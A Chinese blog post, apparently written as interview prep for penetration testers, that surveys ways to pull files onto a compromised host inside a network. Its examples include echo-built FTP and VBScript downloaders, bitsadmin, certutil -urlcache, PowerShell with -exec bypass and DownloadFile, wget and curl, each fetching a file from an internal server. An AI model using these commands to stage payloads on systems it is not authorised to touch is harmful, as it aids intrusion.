之前把關於內網的大塊知識點基本都水了一遍,想起來最近聽HW的朋友說有他面試有問過這個問題,我自己也想了一下,感覺答得不是很全面
今天就參考網上常見的辦法,整理了一些個人了解的常見的內網滲透中的文件下載方式,歡迎師傅們補充
都是很通用的辦法,沒什么復雜的地方,不演示了
1.FTP
正常Windows平台都支持FTP
常見的FTP命令:
open <ftp服務器地址>:連接指定的FTP服務器
cd:進入指定的目錄
put/send <本地文件> <遠程目錄>:將目標機器本地文件上傳到服務器遠程目錄 // send和put方法用法都基本相同,但是上傳速度send卻要比put快很多
get <遠程文件> <本地目錄>:將ftp服務器上的文件下載到本地目標機器中
等等。。。。。。
詳情參考:https://blog.csdn.net/IndexMan/article/details/46387561
https://www.cnblogs.com/emilyyoucan/p/7550574.html
(FTP可以下載,自然也可以用於上傳)
舉個例子,可以使用CMD命令一條條敲,在CMD顯示的路徑下,生成ftp.txt文件,例如:
echo open 192.168.1.18 21>> ftp.txt
echo username>> ftp.txt //用戶名
echo password>> ftp.txt //密碼
echo binary >> ftp.txt //用bin模式,通用性比ascii模式好傳得快,傳文本、圖片、壓縮文件、可執行文件都可以
echo get robots.txt >> ftp.txt
echo bye >> ftp.txt
即把
open 192.168.1.18 21
username
password
binary
get robots.txt
bye
寫進我自己機器某路徑下的ftp.txt中
之后在cmd中ftp -s:ftp.txt ,執行ftp.txt文件,實現對目標的robots.txt文件的下載
也可以一條條命令單獨寫,單獨執行,不寫進腳本
2.vbs
在cmd命令中執行,下面的命令,在當前目錄下生成hhh.vbs腳本,執行腳本,將目標的art.php下載到本地的d:\目錄下重命名為myart.php
(這個生成的vbs腳本是不免殺的)
echo Set Post = CreateObject("Msxml2.XMLHTTP") >>hhh.vbs
echo Set Shell = CreateObject("Wscript.Shell") >>hhh.vbs
echo Post.Open "GET","http://192.168.1.17/art.php",0 >>hhh.vbs
echo Post.Send() >>hhh.vbs
echo Set aGet = CreateObject("ADODB.Stream") >>hhh.vbs
echo aGet.Mode = 3 >>hhh.vbs
echo aGet.Type = 1 >>hhh.vbs
echo aGet.Open() >>hhh.vbs
echo aGet.Write(Post.responseBody) >>hhh.vbs
echo aGet.SaveToFile "d:\myart.php",2 >>hhh.vbs
3.bitsadmin
win7以上Windows系統自帶功能
bitsadmin /transfer <任務名> <remote_url> <local_name>
例如:
bitsadmin /transfer n http://192.168.1.17/art.php D:\1\myart.php n為任務號
bitsadmin要求服務器支持Range標頭
如下載大文件,需要提高優先級的,在上面正常命令后加一條:
bitsadmin /setpriority n foreground
4.certutil
和bitsadmin一樣,也是Windows自帶的功能
certutil -urlcache -split -f http://192.168.1.17/art.php D:\1\myart.php
問題是每次下載都有緩存
需要執行
certutil -urlcache -split -f http://192.168.1.17/art.php delete
來清除數據緩存
參考:https://www.cnblogs.com/backlion/p/7325228.html
5.Powershell
可以利用Powershell一句話下載
例如,cmd執行:
powershell -exec bypass -c (New-Object System.Net.WebClient).DownloadFile('http://192.168.1.17/art.php','D:\1\myart.php')
也可以寫ps1腳本
或者打開powershell利用$client
$client = new-object System.Net.WebClient
$client.DownloadFile('http://192.168.1.17/art.php','D:\1\myart.php')
6.wget
以上都着重介紹了Windows中常見的下載方法,而wget則是Linux中常見的下載方法之一
雖然說Windows下也可以用wget,需要下載exe文件到目標機器再執行,多此一舉
在Linux中直接執行例如:wget http://192.168.1.17/art.php
更多命令參考:https://www.cnblogs.com/sx66/p/11887022.html
7.curl
又一個Linux平台的文件數據傳輸方法
可以加--output接文件名:
curl http://192.168.1.17/art.php --output myphp.php
更多命令參考:https://blog.csdn.net/zhujy5/article/details/88391070
8.其他
還有一些其他的下載方法,比如寫各種腳本(python或者其他的)、兩台主機netcat互傳、文件共享、git clone、Linux下的scp、rz命令等等......不介紹了,參考網上其他師傅們的文章吧
未經允許,禁止轉載